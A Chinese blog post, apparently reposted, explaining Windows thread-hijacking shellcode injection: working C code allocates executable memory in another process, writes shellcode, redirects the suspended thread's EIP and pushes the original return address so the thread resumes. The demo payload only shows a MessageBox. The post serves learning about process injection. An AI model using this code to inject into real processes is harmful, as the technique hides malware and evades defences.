windows:shellcode 远程线程hook/注入(二)

        http://www.javashuo.com/article/p-tmwkfzrb-nd.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程supend以前的地址继续执行原线程的代码了?当时想的动态获取context中eip的地址,再把push eip 转成机器码,最后放到shellcode的头部。因为shellcode是C3(ret)结尾了,天然会把栈顶的4字节弹出来赋值给EIP,达到回到原线程代码继续执行的目的。但实际操做时,地址每每会带00,转成字符串操做时会被截断,致使返回地址错误,程序最终“跑飞”,不知道运行到哪去了。这种方式如今就卡这了:要想尽一切办法把返回地址写入栈顶html

        刚开始的思路是拿到目标进程的DirTableBae,赋值给当前CR3,达到进程切换的目的,而后经过sub esp,4;  mov [esp], eip; 把eip写道栈顶;但实际操做时,在3环暂时未发现获取目标进程CR3的方法,这种思路暂时没法落地;最后仍是靠着WriteProcessMemory把eip写入栈顶。shellcode注入部分代码更改以下:shell

       其余没变,增长了两行:ctx.Esp = ctx.Esp - 4;    WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL);spa

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("shellcode address:%p\n", shellAddress);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error\n");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d\n", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    
    DWORD currentEIP = ctx.Eip;
    DWORD currentESP = ctx.Esp;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
    ctx.Esp = ctx.Esp - 4;//分配4字节的空间,用来存放shellcode执行后的返回地址,也就是currentEIP,以下:
    printf("ctx.Esp:%p\n", ctx.Esp);
    printf("return address:%p\n", currentEIP);
    if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

  效果以下:确实弹出了messageBox:线程

     

      process hacker查看:shellcode成功写入:code

  

  返回地址也成功写入:htm

   

       最后:推荐一个歪果仁总结的进程注入方法,很是详细,墙裂推荐:blog

        https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf进程

相关文章
相关标签/搜索